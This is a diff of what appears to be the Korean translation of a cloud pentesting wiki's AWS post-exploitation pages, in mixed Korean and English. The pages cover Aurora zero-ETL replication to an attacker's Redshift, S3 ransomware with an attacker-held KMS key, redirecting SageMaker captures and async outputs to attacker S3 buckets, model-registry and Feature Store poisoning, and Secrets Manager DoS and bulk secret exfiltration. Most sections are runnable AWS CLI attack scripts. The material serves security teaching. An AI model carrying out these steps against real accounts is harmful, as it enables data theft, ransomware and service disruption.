데이터 복제본을 구축할 수 있습니다. +Aurora PostgreSQL zero‑ETL 통합을 악용하여 운영 데이터를 공격자가 제어하는 Redshift Serverless namespace로 지속적으로 복제할 수 있습니다. 특정 Aurora cluster ARN에 대해 CreateInboundIntegration/AuthorizeInboundIntegration을 허용하는 관대한 Redshift resource policy가 있으면, 공격자는 DB creds, snapshots 또는 네트워크 노출 없이 거의 실시간에 가까운 데이터 복사본을 확립할 수 있습니다. 필요 권한(최소): - `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration` @@ -490,10 +489,10 @@ Aurora PostgreSQL zero‑ETL 통합을 악용해 운영 데이터를 자신이 - `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query) - `rds-data:ExecuteStatement` (optional; to seed data if needed) -테스트된 환경: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless. +테스트 대상: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
-1) Redshift Serverless namespace 및 workgroup 생성 +1) Redshift Serverless namespace + 워크그룹 생성 ```bash REGION=us-east-1 RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \ @@ -509,7 +508,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
-2) Redshift 리소스 정책을 구성하여 Aurora 소스를 허용 +2) Aurora 소스를 허용하도록 Redshift 리소스 정책 구성 ```bash ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) SRC_ARN= @@ -571,7 +570,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
-4) RDS에서 zero‑ETL 통합 생성 +4) RDS에서 zero‑ETL integration 생성 ```bash # Include all tables in the default 'postgres' database aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \ @@ -583,7 +582,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
-5) Redshift에서 복제된 데이터를 materialize하고 쿼리하기 +5) Redshift에서 복제된 데이터 materialize 및 쿼리하기 ```bash # Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION) aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ @@ -597,11 +596,11 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
테스트에서 관찰된 증거: -- redshift describe-inbound-integrations: Integration arn:...377a462b-...에 대해 Status ACTIVE -- SVV_INTEGRATION은 DB 생성 이전에 integration_id 377a462b-c42c-4f08-937b-77fe75d98211와 state PendingDbConnectState를 보여주었습니다. -- CREATE DATABASE FROM INTEGRATION 이후, 테이블 목록에서 schema ztl와 table customers가 나타났고; ztl.customers를 조회하면 2행 (Alice, Bob)이 반환되었습니다. +- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-... +- SVV_INTEGRATION에서 integration_id 377a462b-c42c-4f08-937b-77fe75d98211 및 state PendingDbConnectState가 DB 생성 이전에 표시됨. +- CREATE DATABASE FROM INTEGRATION 후 테이블 나열에서 schema ztl 및 table customers가 나타났고, ztl.customers에서 조회한 결과 2행(Alice, Bob)이 반환됨. -영향: 공격자가 제어하는 Redshift Serverless로 선택된 Aurora PostgreSQL 테이블의 지속적이고 준실시간 exfiltration이 가능하며, 이 과정에서 데이터베이스 자격증명, 백업 또는 소스 클러스터에 대한 네트워크 액세스를 사용하지 않습니다. +영향: 공격자가 제어하는 Redshift Serverless로 선택된 Aurora PostgreSQL 테이블이 데이터베이스 자격증명, 백업 또는 소스 클러스터에 대한 네트워크 접근 없이 지속적이고 거의 실시간으로 exfiltration될 수 있음. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md deleted file mode 100644 index ac167360d..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md +++ /dev/null @@ -1,38 +0,0 @@ -# AWS - S3 포스트 익스플로이테이션 - -{{#include ../../../banners/hacktricks-training.md}} - -## S3 - -자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-s3-athena-and-glacier-enum.md -{{#endref}} - -### 민감한 정보 - -때때로 버킷에서 읽을 수 있는 민감한 정보를 찾을 수 있습니다. 예를 들어, terraform 상태 비밀이 있습니다. - -### 피벗팅 - -다양한 플랫폼이 S3를 사용하여 민감한 자산을 저장할 수 있습니다.\ -예를 들어, **airflow**는 **DAGs** **코드**를 거기에 저장할 수 있으며, **웹 페이지**는 S3에서 직접 제공될 수 있습니다. 쓰기 권한이 있는 공격자는 버킷의 **코드를 수정하여** 다른 플랫폼으로 **피벗**하거나 JS 파일을 수정하여 **계정을 탈취**할 수 있습니다. - -### S3 랜섬웨어 - -이 시나리오에서 **공격자는 자신의 AWS 계정** 또는 다른 손상된 계정에서 KMS(키 관리 서비스) 키를 생성합니다. 그런 다음 이 **키를 전 세계 누구나 접근할 수 있도록** 하여 모든 AWS 사용자, 역할 또는 계정이 이 키를 사용하여 객체를 암호화할 수 있도록 합니다. 그러나 객체는 복호화할 수 없습니다. - -공격자는 **대상 S3 버킷을 식별하고** 다양한 방법을 사용하여 쓰기 수준의 접근 권한을 얻습니다. 이는 공개적으로 노출된 잘못된 버킷 구성 때문일 수 있거나 공격자가 AWS 환경 자체에 접근할 수 있기 때문입니다. 공격자는 일반적으로 개인 식별 정보(PII), 보호된 건강 정보(PHI), 로그, 백업 등과 같은 민감한 정보를 포함하는 버킷을 목표로 합니다. - -버킷이 랜섬웨어 공격의 대상이 될 수 있는지 확인하기 위해 공격자는 그 구성을 확인합니다. 여기에는 **S3 객체 버전 관리**가 활성화되어 있는지와 **다중 인증 삭제(MFA 삭제)가 활성화되어 있는지** 확인하는 것이 포함됩니다. 객체 버전 관리가 활성화되어 있지 않으면 공격자는 진행할 수 있습니다. 객체 버전 관리가 활성화되어 있지만 MFA 삭제가 비활성화되어 있으면 공격자는 **객체 버전 관리를 비활성화**할 수 있습니다. 객체 버전 관리와 MFA 삭제가 모두 활성화되어 있으면 공격자가 특정 버킷을 랜섬웨어로 공격하기가 더 어려워집니다. - -AWS API를 사용하여 공격자는 **자신의 KMS 키를 사용하여 버킷의 각 객체를 암호화된 복사본으로 교체**합니다. 이는 버킷의 데이터를 효과적으로 암호화하여 키 없이는 접근할 수 없게 만듭니다. - -추가 압박을 가하기 위해 공격자는 공격에 사용된 KMS 키의 삭제를 예약합니다. 이는 대상에게 키가 삭제되기 전에 데이터를 복구할 수 있는 7일의 시간을 제공합니다. - -마지막으로, 공격자는 일반적으로 "ransom-note.txt"라는 이름의 최종 파일을 업로드하여 대상에게 파일을 복구하는 방법에 대한 지침을 포함합니다. 이 파일은 암호화 없이 업로드되어 대상의 주목을 끌고 랜섬웨어 공격을 인식하게 하려는 의도가 있습니다. - -**자세한 정보는** [**원본 연구를 확인하세요**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md new file mode 100644 index 000000000..4cefa1bbc --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md @@ -0,0 +1,38 @@ +# AWS - S3 Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## S3 + +자세한 정보는 다음을 확인하세요: + +{{#ref}} +../../aws-services/aws-s3-athena-and-glacier-enum.md +{{#endref}} + +### 민감한 정보 + +때때로 버킷에 읽을 수 있는 형태로 민감한 정보가 저장되어 있는 것을 발견할 수 있습니다. 예: terraform state secrets. + +### Pivoting + +Different platforms could be using S3 to store sensitive assets.\ +For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. 쓰기 권한을 가진 공격자는 버킷의 **modify the code**를 통해 다른 플랫폼으로 **pivot**하거나, JS 파일을 수정해 **takeover accounts**할 수 있습니다. + +### S3 Ransomware + +In this scenario, the **attacker creates a KMS (Key Management Service) key in their own AWS account** or another compromised account. They then make this **key accessible to anyone in the world**, allowing any AWS user, role, or account to encrypt objects using this key. However, the objects cannot be decrypted. + +공격자는 다양한 방법을 사용해 목표 **S3 bucket and gains write-level access**를 식별하고 여기에 쓰기 권한을 획득합니다. 이는 버킷이 공개적으로 노출되는 잘못된 구성 때문이거나 공격자가 AWS 환경 자체에 접근했기 때문일 수 있습니다. 공격자는 일반적으로 개인 식별 정보(PII), 보호된 건강 정보(PHI), 로그, 백업 등 민감한 정보를 포함한 버킷을 목표로 삼습니다. + +공격자는 해당 버킷을 랜섬웨어의 대상이 될 수 있는지 판단하기 위해 구성 설정을 확인합니다. 여기에는 **S3 Object Versioning**이 활성화되어 있는지와 **multi-factor authentication delete (MFA delete) is enabled** 여부를 확인하는 것이 포함됩니다. Object Versioning이 활성화되어 있지 않으면 공격자는 진행할 수 있습니다. Object Versioning은 활성화되어 있지만 MFA delete가 비활성화되어 있으면 공격자는 **disable Object Versioning**할 수 있습니다. Object Versioning과 MFA delete 둘 다 활성화되어 있으면, 해당 특정 버킷을 랜섬웨어로 만드는 것은 더 어려워집니다. + +AWS API를 사용하여 공격자는 **replaces each object in the bucket with an encrypted copy using their KMS key**. 이로써 버킷의 데이터가 암호화되어 키 없이는 접근할 수 없게 됩니다. + +더 큰 압박을 주기 위해 공격자는 공격에 사용된 KMS 키의 삭제를 예약합니다. 이렇게 하면 키가 삭제되어 데이터가 영구적으로 손실되기 전까지 대상에게 7일 간의 복구 기간이 주어집니다. + +마지막으로 공격자는 보통 "ransom-note.txt"라는 이름의 최종 파일을 업로드할 수 있으며, 이 파일에는 대상이 파일을 복구하는 방법에 대한 지침이 들어 있습니다. 이 파일은 대상의 주의를 끌고 랜섬웨어 공격을 인지시키기 위해 암호화하지 않은 상태로 업로드됩니다. + +**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md new file mode 100644 index 000000000..2cbf3ecf6 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md @@ -0,0 +1,179 @@ +# AWS - SageMaker Post-Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## SageMaker 엔드포인트 데이터 탈취 via UpdateEndpoint DataCaptureConfig + +SageMaker 엔드포인트 관리를 악용해 모델이나 컨테이너를 건드리지 않고 전체 요청/응답을 공격자가 제어하는 S3 버킷으로 캡처하도록 활성화합니다. 무(또는 저)다운타임 롤링 업데이트를 사용하며 엔드포인트 관리 권한만 필요합니다. + +### 요구사항 +- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint` +- S3: `s3:CreateBucket` (또는 동일한 계정의 기존 버킷 사용) +- Optional (if using SSE‑KMS): `kms:Encrypt` on the chosen CMK +- Target: 기존의 동일 계정/리전 내 InService 실시간 엔드포인트 + +### 단계 +1) InService 엔드포인트를 식별하고 현재 production variants를 수집 +```bash +REGION=${REGION:-us-east-1} +EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text) +echo "Endpoint=$EP" +CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text) +echo "EndpointConfig=$CFG" +aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json +``` +2) 캡처를 위한 공격자 S3 대상 준비 +```bash +ACC=$(aws sts get-caller-identity --query Account --output text) +BUCKET=ht-sm-capture-$ACC-$(date +%s) +aws s3 mb s3://$BUCKET --region $REGION +``` +3) 동일한 variants를 유지하되 DataCapture를 attacker bucket으로 활성화하는 새로운 EndpointConfig를 생성하세요 + +참고: CLI 검증을 만족하는 명시적인 콘텐츠 유형을 사용하세요 +```bash +NEWCFG=${CFG}-dc +cat > /tmp/dc.json << JSON +{ +"EnableCapture": true, +"InitialSamplingPercentage": 100, +"DestinationS3Uri": "s3://$BUCKET/capture", +"CaptureOptions": [ +{"CaptureMode": "Input"}, +{"CaptureMode": "Output"} +], +"CaptureContentTypeHeader": { +"JsonContentTypes": ["application/json"], +"CsvContentTypes": ["text/csv"] +} +} +JSON +aws sagemaker create-endpoint-config \ +--region $REGION \ +--endpoint-config-name "$NEWCFG" \ +--production-variants file:///tmp/pv.json \ +--data-capture-config file:///tmp/dc.json +``` +4) 롤링 업데이트로 새 설정을 적용합니다 (다운타임 최소/없음) +```bash +aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG" +aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP" +``` +5) 최소 하나의 추론 호출 생성 (라이브 트래픽이 있는 경우 선택 사항) +```bash +echo '{"inputs":[1,2,3]}' > /tmp/payload.json +aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \ +--content-type application/json --accept application/json \ +--body fileb:///tmp/payload.json /tmp/out.bin || true +``` +6) 공격자 S3에서 캡처 검증 +```bash +aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize +``` +### 영향 +- 대상 엔드포인트에서 공격자가 제어하는 S3 버킷으로 실시간 추론 요청 및 응답 페이로드(및 메타데이터)를 완전히 유출합니다. +- 모델/컨테이너 이미지에는 변경이 없고 엔드포인트 수준의 변경만으로 최소한의 운영 중단으로 은밀한 데이터 탈취 경로를 제공합니다. + + +## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig + +현재 EndpointConfig를 복제하고 AsyncInferenceConfig.OutputConfig의 S3OutputPath/S3FailurePath를 설정하여 엔드포인트 관리를 악용해 비동기 추론 출력을 공격자가 제어하는 S3 버킷으로 리디렉션합니다. 이렇게 하면 모델/컨테이너를 수정하지 않고도 모델 예측(및 컨테이너에 포함된 변환된 입력)을 유출할 수 있습니다. + +### 요구사항 +- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint` +- S3: 모델 실행 역할이나 관대한 버킷 정책을 통해 공격자가 제어하는 S3 버킷에 쓸 수 있는 권한 +- Target: 비동기 호출이 사용 중(또는 사용될 예정)인 InService 엔드포인트 + +### 단계 +1) 대상 엔드포인트에서 현재 ProductionVariants를 수집 +```bash +REGION=${REGION:-us-east-1} +EP= +CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text) +aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json +``` +2) 공격자 버킷을 생성하세요 (model execution role이 PutObject할 수 있는지 확인하세요) +```bash +ACC=$(aws sts get-caller-identity --query Account --output text) +BUCKET=ht-sm-async-exfil-$ACC-$(date +%s) +aws s3 mb s3://$BUCKET --region $REGION || true +``` +3) EndpointConfig를 복제하고 AsyncInference 출력물을 attacker bucket으로 hijack +```bash +NEWCFG=${CUR_CFG}-async-exfil +cat > /tmp/async_cfg.json << JSON +{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}} +JSON +aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "$NEWCFG" --production-variants file:///tmp/pv.json --async-inference-config file:///tmp/async_cfg.json +aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG" +aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP" +``` +4) async invocation을 트리거하고 objects가 attacker S3에 도착하는지 확인 +```bash +aws s3 cp /etc/hosts s3://$BUCKET/inp.bin +aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true +sleep 30 +aws s3 ls s3://$BUCKET/async-out/ --recursive || true +aws s3 ls s3://$BUCKET/async-fail/ --recursive || true +``` +### 영향 +- 공격자가 제어하는 S3로 asynchronous inference 결과(및 error bodies)를 리다이렉트하여 predictions 및 컨테이너가 생성하는 잠재적으로 민감한 pre/post-processed inputs의 covert exfiltration을 가능하게 하며, model code나 image를 변경하지 않고 최소/무 downtime으로 수행될 수 있습니다. + + +## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved) + +If an attacker can CreateModelPackage on a target SageMaker Model Package Group, they can register a new model version that points to an attacker-controlled container image and immediately mark it Approved. Many CI/CD pipelines auto-deploy Approved model versions to endpoints or training jobs, resulting in attacker code execution under the service’s execution roles. Cross-account exposure can be amplified by a permissive ModelPackageGroup resource policy. + +### 요구사항 +- IAM (minimum to poison an existing group): `sagemaker:CreateModelPackage` on the target ModelPackageGroup +- 선택 사항 (그룹이 없을 경우 생성하기 위해): `sagemaker:CreateModelPackageGroup` +- S3: 참조된 ModelDataUrl에 대한 Read access (또는 attacker-controlled artifacts 호스팅) +- 대상: 다운스트림 자동화가 Approved 버전을 감시하는 Model Package Group + +### 단계 +1) 리전 설정 및 대상 Model Package Group 생성/검색 +```bash +REGION=${REGION:-us-east-1} +MPG=victim-group-$(date +%s) +aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group" +``` +2) S3에 더미 모델 데이터 준비 +```bash +ACC=$(aws sts get-caller-identity --query Account --output text) +BUCKET=ht-sm-mpkg-$ACC-$(date +%s) +aws s3 mb s3://$BUCKET --region $REGION +head -c 1024 /tmp/model.tar.gz +aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION +``` +3) AWS의 공개 DLC image를 참조하는 악성(여기서는 무해한) Approved model package version 등록하기 +```bash +IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3" +cat > /tmp/inf.json << JSON +{ +"Containers": [ +{ +"Image": "$IMG", +"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz" +} +], +"SupportedContentTypes": ["text/csv"], +"SupportedResponseMIMETypes": ["text/csv"] +} +JSON +aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json +``` +4) 새로 승인된 버전이 존재하는지 확인 +```bash +aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table +``` +### 영향 +- 공격자가 제어하는 코드를 참조하는 Approved 버전으로 Model Registry를 오염시킬 수 있습니다. Approved 모델을 자동으로 배포하는 Pipelines는 공격자 이미지(attacker image)를 가져와 실행할 수 있으며, 그 결과 endpoint/training roles 권한으로 코드 실행이 발생할 수 있습니다. +- 권한이 느슨한 ModelPackageGroup 리소스 정책(PutModelPackageGroupPolicy)이 설정된 경우, 이 악용은 cross-account로도 유발될 수 있습니다. + +## Feature store 오염 + +`sagemaker:PutRecord` 권한을 사용해 OnlineStore가 활성화된 Feature Group에서 online inference에 사용되는 실시간 feature 값을 덮어쓸 수 있습니다. `sagemaker:GetRecord`와 결합하면 공격자가 민감한 feature를 읽을 수 있습니다. 이 공격은 models나 endpoints에 대한 접근을 필요로 하지 않습니다. + +{{#ref}} +feature-store-poisoning.md +{{/ref}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md new file mode 100644 index 000000000..63c8cf1e7 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md @@ -0,0 +1,50 @@ +# SageMaker Feature Store online store poisoning + +OnlineStore가 활성화된 Feature Group에서 `sagemaker:PutRecord`를 남용하여 온라인 추론에서 사용되는 실시간 feature 값을 덮어쓸 수 있습니다. `sagemaker:GetRecord`와 결합하면 공격자가 민감한 feature 값을 읽을 수 있습니다. 이는 models 또는 endpoints에 대한 접근을 필요로 하지 않습니다. + +## Requirements +- 권한: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord` +- 대상: OnlineStore가 활성화된 Feature Group (일반적으로 실시간 추론을 지원함) + +## Steps +1) 테스트용으로 작은 Online Feature Group을 선택하거나 생성하십시오. +```bash +REGION=${REGION:-us-east-1} +FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text) +if [ -z "$FG" -o "$FG" = "None" ]; then +ACC=$(aws sts get-caller-identity --query Account --output text) +FG=ht-fg-$ACC-$(date +%s) +ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole) +aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN" +echo "Waiting for feature group to be in Created state..." +for i in $(seq 1 40); do +ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true) +echo $ST; [ "$ST" = "Created" ] && break; sleep 15 +done +fi +``` +2) 온라인 레코드 삽입/덮어쓰기 (poison) +```bash +NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) +cat > /tmp/put.json << JSON +{ +"FeatureGroupName": "$FG", +"Record": [ +{"FeatureName": "entity_id", "ValueAsString": "user-123"}, +{"FeatureName": "event_time", "ValueAsString": "$NOW"}, +{"FeatureName": "risk_score", "ValueAsString": "0.99"} +], +"TargetStores": ["OnlineStore"] +} +JSON +aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json +``` +3) 조작을 확인하기 위해 레코드를 다시 읽어본다. +```bash +aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString" +``` +예상: risk_score returns 0.99 (attacker-set), proving ability to change online features consumed by models. + +## 영향 +- Real-time integrity attack: endpoints/models을 건드리지 않고 production models에서 사용되는 features를 조작할 수 있음. +- 기밀성 위험: OnlineStore에서 GetRecord를 통해 민감한 features를 읽을 수 있음. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md deleted file mode 100644 index fa2f22d0b..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md +++ /dev/null @@ -1,130 +0,0 @@ -# AWS - Secrets Manager Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Secrets Manager - -자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-secrets-manager-enum.md -{{#endref}} - -### Secrets 읽기 - -**비밀 자체는 민감한 정보입니다.** 읽는 방법은 [privesc 페이지](../aws-privilege-escalation/aws-secrets-manager-privesc.md)를 확인하세요. - -### DoS 비밀 값 변경 - -비밀 값의 값을 변경하면 **해당 값에 의존하는 모든 시스템을 DoS할 수 있습니다.** - -> [!WARNING] -> 이전 값들도 저장되어 있으므로, 이전 값으로 되돌리는 것은 쉽습니다. -```bash -# Requires permission secretsmanager:PutSecretValue -aws secretsmanager put-secret-value \ ---secret-id MyTestSecret \ ---secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}" -``` -### DoS KMS key 변경 - -만약 attacker가 secretsmanager:UpdateSecret 권한을 가지고 있다면, secret이 attacker가 소유한 KMS key를 사용하도록 구성할 수 있습니다. 해당 KMS key는 처음에 누구나 접근·사용할 수 있도록 설정되어 있어 secret을 새 key로 업데이트하는 것이 가능합니다. 만약 key에 접근할 수 없다면 secret을 업데이트할 수 없습니다. - -secret의 key를 변경한 후 attacker는 자신의 KMS key 설정을 수정해 오직 본인만 접근할 수 있도록 만듭니다. 이렇게 하면 이후 버전의 secret들은 새 KMS key로 암호화되며, 해당 key에 대한 접근 권한이 없으므로 secret을 조회할 수 없게 됩니다. - -중요한 점은 현재 버전은 여전히 원래 KMS key로 암호화되어 있기 때문에, 이 접근 불가 상태는 secret 내용이 변경된 이후의 이후 버전에서만 발생한다는 것입니다. -```bash -aws secretsmanager update-secret \ ---secret-id MyTestSecret \ ---kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE -``` -### DoS Secret 삭제 - -secret을 삭제하려면 최소 7일이 필요합니다. -```bash -aws secretsmanager delete-secret \ ---secret-id MyTestSecret \ ---recovery-window-in-days 7 -``` -## secretsmanager:RestoreSecret - -비밀을 복원할 수 있습니다. 비밀의 최소 삭제 기간은 7일이고 최대는 30일이므로, 삭제가 예약된 비밀을 복원할 수 있습니다. secretsmanager:GetSecretValue 권한과 함께 사용하면 해당 내용물을 가져올 수 있습니다. - -삭제 중인 비밀을 복구하려면 다음 명령을 사용할 수 있습니다: -```bash -aws secretsmanager restore-secret \ ---secret-id -``` -## secretsmanager:DeleteResourcePolicy - -이 작업은 secret에 접근할 수 있는 사람을 제어하는 resource policy를 삭제할 수 있게 합니다. resource policy가 특정 사용자 집합에 대한 접근을 허용하도록 구성되어 있었다면 이는 DoS로 이어질 수 있습니다. - -resource policy를 삭제하려면: -```bash -aws secretsmanager delete-resource-policy \ ---secret-id -``` -## secretsmanager:UpdateSecretVersionStage - -비밀의 상태는 비밀의 버전을 관리하는 데 사용됩니다. AWSCURRENT은 애플리케이션이 사용하는 활성 버전을 표시하고, AWSPREVIOUS는 필요할 경우 롤백할 수 있도록 이전 버전을 보관하며, AWSPENDING은 회전 과정에서 새 버전을 현재로 만들기 전에 준비하고 검증하는 데 사용됩니다. - -애플리케이션은 항상 AWSCURRENT가 붙은 버전을 읽습니다. 누군가 그 레이블을 잘못된 버전으로 옮기면 애플리케이션은 유효하지 않은 자격 증명을 사용하게 되어 실패할 수 있습니다. - -AWSPREVIOUS는 자동으로 사용되지 않습니다. 그러나 AWSCURRENT가 제거되거나 잘못 재할당되면 모든 것이 여전히 이전 버전으로 실행되고 있는 것처럼 보일 수 있습니다. -```bash -aws secretsmanager update-secret-version-stage \ ---secret-id \ ---version-stage AWSCURRENT \ ---move-to-version-id \ ---remove-from-version-id -``` -{{#include ../../../banners/hacktricks-training.md}} - - - - - -### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call) - -Secrets Manager BatchGetSecretValue API를 악용하여 단일 요청으로 최대 20개의 secret을 검색할 수 있습니다. 이는 각 secret마다 GetSecretValue를 반복 호출하는 것과 비교해 API 호출량을 크게 줄일 수 있습니다. 필터(tags/name)를 사용하는 경우 ListSecrets 권한도 필요합니다. CloudTrail은 여전히 배치에서 검색된 각 secret마다 GetSecretValue 이벤트를 기록합니다. - -필요 권한 -- secretsmanager:BatchGetSecretValue -- secretsmanager:GetSecretValue (각 대상 secret에 대해) -- secretsmanager:ListSecrets (--filters 사용 시) -- kms:Decrypt (secrets에 사용된 CMKs에 대해, aws/secretsmanager를 사용하지 않는 경우) - -> [!WARNING] -> `secretsmanager:BatchGetSecretValue` 권한만으로는 secret을 검색하기에 충분하지 않습니다. 검색하려는 각 secret에 대해 `secretsmanager:GetSecretValue` 권한도 필요합니다. - -Exfiltrate by explicit list -```bash -aws secretsmanager batch-get-secret-value \ ---secret-id-list \ ---query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}' -``` -Exfiltrate — 필터로 (tag key/value 또는 name prefix) -```bash -# By tag key -aws secretsmanager batch-get-secret-value \ ---filters Key=tag-key,Values=env \ ---max-results 20 \ ---query 'SecretValues[].{Name:Name,Val:SecretString}' - -# By tag value -aws secretsmanager batch-get-secret-value \ ---filters Key=tag-value,Values=prod \ ---max-results 20 - -# By name prefix -aws secretsmanager batch-get-secret-value \ ---filters Key=name,Values=MyApp -``` -부분 실패 처리 -```bash -# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters -aws secretsmanager batch-get-secret-value --secret-id-list -``` -영향 -- 더 적은 API 호출로 많은 secrets를 빠르게 “smash-and-grab”하여, GetSecretValue의 급증에 맞춰 조정된 alerting을 우회할 수 있습니다. -- CloudTrail 로그에는 배치로 검색된 각 secret마다 여전히 하나의 GetSecretValue 이벤트가 포함됩니다. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md new file mode 100644 index 000000000..dcc96fd47 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md @@ -0,0 +1,129 @@ +# AWS - Secrets Manager Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Secrets Manager + +자세한 정보는 다음을 확인하세요: + +{{#ref}} +../../aws-services/aws-secrets-manager-enum.md +{{#endref}} + +### Read Secrets + +**secrets 자체는 민감한 정보입니다.** 읽는 방법은 [privesc 